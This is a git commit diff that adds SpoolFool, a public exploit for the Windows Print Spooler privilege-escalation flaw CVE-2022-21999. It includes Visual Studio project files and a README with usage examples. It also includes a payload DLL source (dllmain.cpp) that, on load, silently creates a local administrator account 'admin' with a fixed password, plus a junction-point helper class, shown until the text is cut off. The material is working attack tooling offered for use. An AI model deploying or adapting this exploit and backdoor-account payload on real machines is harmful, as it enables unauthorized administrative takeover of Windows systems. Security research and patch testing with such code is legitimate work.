add CVE-2022-21999 exp
This commit is contained in:
parent
4912e678d9
commit
88ba88c64c
BIN
00-CVE_EXP/CVE-2022-21999/AddUser.dll
Normal file
BIN
00-CVE_EXP/CVE-2022-21999/AddUser.dll
Normal file
Binary file not shown.
31
00-CVE_EXP/CVE-2022-21999/AddUser/AddUser.sln
Normal file
31
00-CVE_EXP/CVE-2022-21999/AddUser/AddUser.sln
Normal file
@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.31613.86
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "AddUser", "AddUser.vcxproj", "{4C7714EE-C58D-4EF7-98F2-B162BAEC0EE0}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{4C7714EE-C58D-4EF7-98F2-B162BAEC0EE0}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{4C7714EE-C58D-4EF7-98F2-B162BAEC0EE0}.Debug|x64.Build.0 = Debug|x64
|
||||
{4C7714EE-C58D-4EF7-98F2-B162BAEC0EE0}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{4C7714EE-C58D-4EF7-98F2-B162BAEC0EE0}.Debug|x86.Build.0 = Debug|Win32
|
||||
{4C7714EE-C58D-4EF7-98F2-B162BAEC0EE0}.Release|x64.ActiveCfg = Release|x64
|
||||
{4C7714EE-C58D-4EF7-98F2-B162BAEC0EE0}.Release|x64.Build.0 = Release|x64
|
||||
{4C7714EE-C58D-4EF7-98F2-B162BAEC0EE0}.Release|x86.ActiveCfg = Release|Win32
|
||||
{4C7714EE-C58D-4EF7-98F2-B162BAEC0EE0}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {1800AF02-CCEB-458E-AEF4-0C0DC61AF5FF}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
169
00-CVE_EXP/CVE-2022-21999/AddUser/AddUser.vcxproj
Normal file
169
00-CVE_EXP/CVE-2022-21999/AddUser/AddUser.vcxproj
Normal file
@ -0,0 +1,169 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{4c7714ee-c58d-4ef7-98f2-b162baec0ee0}</ProjectGuid>
|
||||
<RootNamespace>AddUser</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;ADDUSER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;ADDUSER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;ADDUSER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;ADDUSER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="framework.h" />
|
||||
<ClInclude Include="pch.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.cpp" />
|
||||
<ClCompile Include="pch.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
33
00-CVE_EXP/CVE-2022-21999/AddUser/AddUser.vcxproj.filters
Normal file
33
00-CVE_EXP/CVE-2022-21999/AddUser/AddUser.vcxproj.filters
Normal file
@ -0,0 +1,33 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="framework.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="pch.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="pch.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
4
00-CVE_EXP/CVE-2022-21999/AddUser/AddUser.vcxproj.user
Normal file
4
00-CVE_EXP/CVE-2022-21999/AddUser/AddUser.vcxproj.user
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
55
00-CVE_EXP/CVE-2022-21999/AddUser/dllmain.cpp
Normal file
55
00-CVE_EXP/CVE-2022-21999/AddUser/dllmain.cpp
Normal file
@ -0,0 +1,55 @@
|
||||
// dllmain.cpp : Defines the entry point for the DLL application.
|
||||
#include "pch.h"
|
||||
#include <LM.h>
|
||||
#pragma comment(lib, "netapi32.lib")
|
||||
|
||||
void main()
|
||||
{
|
||||
wchar_t username[] = L"admin";
|
||||
wchar_t password[] = L"Passw0rd!";
|
||||
|
||||
// Dynamically look up local administrators group name
|
||||
BYTE builtinAdministratorsSid[SECURITY_MAX_SID_SIZE];
|
||||
DWORD cbSize = sizeof(builtinAdministratorsSid);
|
||||
CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, &builtinAdministratorsSid,
|
||||
&cbSize);
|
||||
|
||||
SID_NAME_USE sidNameUse;
|
||||
WCHAR name[128], referencedDomainName[128];
|
||||
DWORD cchName = 128, cchReferencedDomainName = 128;
|
||||
BOOL bres = LookupAccountSidW(NULL, builtinAdministratorsSid, name, &cchName, referencedDomainName, &cchReferencedDomainName, &sidNameUse);
|
||||
|
||||
// Create new user
|
||||
USER_INFO_1 user;
|
||||
memset(&user, 0, sizeof(USER_INFO_1));
|
||||
user.usri1_name = username;
|
||||
user.usri1_password = password;
|
||||
user.usri1_priv = USER_PRIV_USER;
|
||||
user.usri1_flags = UF_DONT_EXPIRE_PASSWD;
|
||||
NetUserAdd(NULL, 1, (LPBYTE)&user, NULL);
|
||||
|
||||
// Add the user to the administrators group
|
||||
LOCALGROUP_MEMBERS_INFO_3 members;
|
||||
members.lgrmi3_domainandname = username;
|
||||
NetLocalGroupAddMembers(NULL, name, 3, (LPBYTE)&members, 1);
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain( HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
case DLL_THREAD_ATTACH: {
|
||||
main();
|
||||
break;
|
||||
}
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
5
00-CVE_EXP/CVE-2022-21999/AddUser/framework.h
Normal file
5
00-CVE_EXP/CVE-2022-21999/AddUser/framework.h
Normal file
@ -0,0 +1,5 @@
|
||||
#pragma once
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
||||
// Windows Header Files
|
||||
#include <windows.h>
|
5
00-CVE_EXP/CVE-2022-21999/AddUser/pch.cpp
Normal file
5
00-CVE_EXP/CVE-2022-21999/AddUser/pch.cpp
Normal file
@ -0,0 +1,5 @@
|
||||
// pch.cpp: source file corresponding to the pre-compiled header
|
||||
|
||||
#include "pch.h"
|
||||
|
||||
// When you are using pre-compiled headers, this source file is necessary for compilation to succeed.
|
13
00-CVE_EXP/CVE-2022-21999/AddUser/pch.h
Normal file
13
00-CVE_EXP/CVE-2022-21999/AddUser/pch.h
Normal file
@ -0,0 +1,13 @@
|
||||
// pch.h: This is a precompiled header file.
|
||||
// Files listed below are compiled only once, improving build performance for future builds.
|
||||
// This also affects IntelliSense performance, including code completion and many code browsing features.
|
||||
// However, files listed here are ALL re-compiled if any one of them is updated between builds.
|
||||
// Do not add files here that you will be updating frequently as this negates the performance advantage.
|
||||
|
||||
#ifndef PCH_H
|
||||
#define PCH_H
|
||||
|
||||
// add headers that you want to pre-compile here
|
||||
#include "framework.h"
|
||||
|
||||
#endif //PCH_H
|
21
00-CVE_EXP/CVE-2022-21999/LICENSE
Normal file
21
00-CVE_EXP/CVE-2022-21999/LICENSE
Normal file
@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2022 Oliver Lyak
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
66
00-CVE_EXP/CVE-2022-21999/README.md
Normal file
66
00-CVE_EXP/CVE-2022-21999/README.md
Normal file
@ -0,0 +1,66 @@
|
||||
# SpoolFool
|
||||
|
||||
Exploit for CVE-2022-21999 - Windows Print Spooler Elevation of Privilege Vulnerability (LPE)
|
||||
|
||||
## Details
|
||||
|
||||
The provided exploit should work by default on all Windows desktop versions.
|
||||
|
||||
Please see the blog post for full technical details [here](https://research.ifcr.dk/spoolfool-windows-print-spooler-privilege-escalation-cve-2022-22718-bf7752b68d81).
|
||||
|
||||
## Usage
|
||||
|
||||
```powershell
|
||||
PS C:\SpoolFool> .\SpoolFool.exe
|
||||
|
||||
SpoolFool
|
||||
By Oliver Lyak (@ly4k_)
|
||||
|
||||
Examples:
|
||||
C:\SpoolFool\SpoolFool.exe -dll add_user.dll
|
||||
C:\SpoolFool\SpoolFool.exe -dll add_user.dll -printer 'My Printer'
|
||||
C:\SpoolFool\SpoolFool.exe -dll add_user.dll -dir 'SECRET'
|
||||
C:\SpoolFool\SpoolFool.exe -dll add_user.dll -printer 'My Printer' -dir 'SECRET'
|
||||
```
|
||||
|
||||
### Powershell
|
||||
|
||||
```powershell
|
||||
PS C:\SpoolFool> ipmo .\SpoolFool.ps1
|
||||
PS C:\SpoolFool> Invoke-SpoolFool
|
||||
|
||||
SpoolFool
|
||||
By Oliver Lyak (@ly4k_)
|
||||
|
||||
Examples:
|
||||
-dll add_user.dll
|
||||
-dll add_user.dll -printer 'My Printer'
|
||||
-dll add_user.dll -dir 'SECRET'
|
||||
-dll add_user.dll -printer 'My Printer' -dir 'SECRET'
|
||||
```
|
||||
|
||||
## Proof of Concept
|
||||
|
||||
The following PoC uses a DLL that creates a new local administrator `admin / Passw0rd!`. The DLL (`AddUser.dll`) and the source code can be found in this repository.
|
||||
|
||||

|
||||
|
||||
**Second run**
|
||||
|
||||
The following PoC demonstrates a second run of the provided exploit. Notice that the vulnerability is not exploited this time in order to load the DLL.
|
||||
|
||||

|
||||
|
||||
## Artifacts
|
||||
|
||||
After the exploit has been executed, the following artifacts will be left for later cleanup:
|
||||
- The created printer driver directory is not removed
|
||||
- The payload DLL is copied to the printer driver directory and it is not removed
|
||||
- Any created printer is not removed
|
||||
- The `SpoolDirectory` value of the targeted printer is not restored
|
||||
|
||||
## Authors
|
||||
- Oliver Lyak [@ly4k_](https://twitter.com/ly4k_)
|
||||
|
||||
## References
|
||||
- [SpoolFool: Windows Print Spooler Privilege Escalation (CVE-2022-21999)](https://research.ifcr.dk/spoolfool-windows-print-spooler-privilege-escalation-cve-2022-22718-bf7752b68d81)
|
BIN
00-CVE_EXP/CVE-2022-21999/SpoolFool.exe
Normal file
BIN
00-CVE_EXP/CVE-2022-21999/SpoolFool.exe
Normal file
Binary file not shown.
10
00-CVE_EXP/CVE-2022-21999/SpoolFool.ps1
Normal file
10
00-CVE_EXP/CVE-2022-21999/SpoolFool.ps1
Normal file
File diff suppressed because one or more lines are too long
6
00-CVE_EXP/CVE-2022-21999/SpoolFool/App.config
Normal file
6
00-CVE_EXP/CVE-2022-21999/SpoolFool/App.config
Normal file
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<configuration>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
|
||||
</startup>
|
||||
</configuration>
|
422
00-CVE_EXP/CVE-2022-21999/SpoolFool/JunctionPoints.cs
Normal file
422
00-CVE_EXP/CVE-2022-21999/SpoolFool/JunctionPoints.cs
Normal file
@ -0,0 +1,422 @@
|
||||
// Taken from https://gist.github.com/LGM-AdrianHum/260bc9ab3c4cd49bc8617a2abe84ca74
|
||||
using System;
|
||||
using System.Diagnostics.CodeAnalysis;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
|
||||
namespace SpoolFool
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides access to NTFS junction points in .Net.
|
||||
/// </summary>
|
||||
[SuppressMessage("ReSharper", "InconsistentNaming")]
|
||||
[SuppressMessage("ReSharper", "UnusedMember.Local")]
|
||||
[SuppressMessage("ReSharper", "MemberCanBePrivate.Local")]
|
||||
[SuppressMessage("ReSharper", "FieldCanBeMadeReadOnly.Local")]
|
||||
public static class JunctionPoint
|
||||
{
|
||||
/// <summary>
|
||||
/// The file or directory is not a reparse point.
|
||||
/// </summary>
|
||||
private const int ERROR_NOT_A_REPARSE_POINT = 4390;
|
||||
|
||||
/// <summary>
|
||||
/// The reparse point attribute cannot be set because it conflicts with an existing attribute.
|
||||
/// </summary>
|
||||
private const int ERROR_REPARSE_ATTRIBUTE_CONFLICT = 4391;
|
||||
|
||||
/// <summary>
|
||||
/// The data present in the reparse point buffer is invalid.
|
||||
/// </summary>
|
||||
private const int ERROR_INVALID_REPARSE_DATA = 4392;
|
||||
|
||||
/// <summary>
|
||||
/// The tag present in the reparse point buffer is invalid.
|
||||
/// </summary>
|
||||
private const int ERROR_REPARSE_TAG_INVALID = 4393;
|
||||
|
||||
/// <summary>
|
||||
/// There is a mismatch between the tag specified in the request and the tag present in the reparse point.
|
||||
/// </summary>
|
||||
private const int ERROR_REPARSE_TAG_MISMATCH = 4394;
|
||||
|
||||
/// <summary>
|
||||
/// Command to set the reparse point data block.
|
||||
/// </summary>
|
||||
private const int FSCTL_SET_REPARSE_POINT = 0x000900A4;
|
||||
|
||||
/// <summary>
|
||||
/// Command to get the reparse point data block.
|
||||
/// </summary>
|
||||
private const int FSCTL_GET_REPARSE_POINT = 0x000900A8;
|
||||
|
||||
/// <summary>
|
||||
/// Command to delete the reparse point data base.
|
||||
/// </summary>
|
||||
private const int FSCTL_DELETE_REPARSE_POINT = 0x000900AC;
|
||||
|
||||
/// <summary>
|
||||
/// Reparse point tag used to identify mount points and junction points.
|
||||
/// </summary>
|
||||
private const uint IO_REPARSE_TAG_MOUNT_POINT = 0xA0000003;
|
||||
|
||||
/// <summary>
|
||||
/// This prefix indicates to NTFS that the path is to be treated as a non-interpreted
|
||||
/// path in the virtual file system.
|
||||
/// </summary>
|
||||
private const string NonInterpretedPathPrefix = @"\??\";
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool DeviceIoControl(IntPtr hDevice, uint dwIoControlCode,
|
||||
IntPtr InBuffer, int nInBufferSize,
|
||||
IntPtr OutBuffer, int nOutBufferSize,
|
||||
out int pBytesReturned, IntPtr lpOverlapped);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr CreateFile(
|
||||
string lpFileName,
|
||||
EFileAccess dwDesiredAccess,
|
||||
EFileShare dwShareMode,
|
||||
IntPtr lpSecurityAttributes,
|
||||
ECreationDisposition dwCreationDisposition,
|
||||
EFileAttributes dwFlagsAndAttributes,
|
||||
IntPtr hTemplateFile);
|
||||
|
||||
/// <summary>
|
||||
/// Creates a junction point from the specified directory to the specified target directory.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Only works on NTFS.
|
||||
/// </remarks>
|
||||
/// <param name="junctionPoint">The junction point path</param>
|
||||
/// <param name="targetDir">The target directory</param>
|
||||
/// <param name="overwrite">If true overwrites an existing reparse point or empty directory</param>
|
||||
/// <exception cref="IOException">
|
||||
/// Thrown when the junction point could not be created or when
|
||||
/// an existing directory was found and <paramref name="overwrite" /> if false
|
||||
/// </exception>
|
||||
public static void Create(string junctionPoint, string targetDir, bool overwrite)
|
||||
{
|
||||
targetDir = Path.GetFullPath(targetDir);
|
||||
|
||||
if (!Directory.Exists(targetDir))
|
||||
throw new IOException("Target path does not exist or is not a directory.");
|
||||
|
||||
if (Directory.Exists(junctionPoint))
|
||||
{
|
||||
if (!overwrite)
|
||||
throw new IOException("Directory already exists and overwrite parameter is false.");
|
||||
}
|
||||
else
|
||||
{
|
||||
Directory.CreateDirectory(junctionPoint);
|
||||
}
|
||||
|
||||
using (var handle = OpenReparsePoint(junctionPoint, EFileAccess.GenericWrite))
|
||||
{
|
||||
var targetDirBytes = Encoding.Unicode.GetBytes(NonInterpretedPathPrefix + Path.GetFullPath(targetDir));
|
||||
|
||||
var reparseDataBuffer =
|
||||
new REPARSE_DATA_BUFFER
|
||||
{
|
||||
ReparseTag = IO_REPARSE_TAG_MOUNT_POINT,
|
||||
ReparseDataLength = (ushort)(targetDirBytes.Length + 12),
|
||||
SubstituteNameOffset = 0,
|
||||
SubstituteNameLength = (ushort)targetDirBytes.Length,
|
||||
PrintNameOffset = (ushort)(targetDirBytes.Length + 2),
|
||||
PrintNameLength = 0,
|
||||
PathBuffer = new byte[0x3ff0]
|
||||
};
|
||||
|
||||
Array.Copy(targetDirBytes, reparseDataBuffer.PathBuffer, targetDirBytes.Length);
|
||||
|
||||
var inBufferSize = Marshal.SizeOf(reparseDataBuffer);
|
||||
var inBuffer = Marshal.AllocHGlobal(inBufferSize);
|
||||
|
||||
try
|
||||
{
|
||||
Marshal.StructureToPtr(reparseDataBuffer, inBuffer, false);
|
||||
|
||||
int bytesReturned;
|
||||
var result = DeviceIoControl(handle.DangerousGetHandle(), FSCTL_SET_REPARSE_POINT,
|
||||
inBuffer, targetDirBytes.Length + 20, IntPtr.Zero, 0, out bytesReturned, IntPtr.Zero);
|
||||
|
||||
if (!result)
|
||||
ThrowLastWin32Error("Unable to create junction point.");
|
||||
}
|
||||
finally
|
||||
{
|
||||
Marshal.FreeHGlobal(inBuffer);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deletes a junction point at the specified source directory along with the directory itself.
|
||||
/// Does nothing if the junction point does not exist.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Only works on NTFS.
|
||||
/// </remarks>
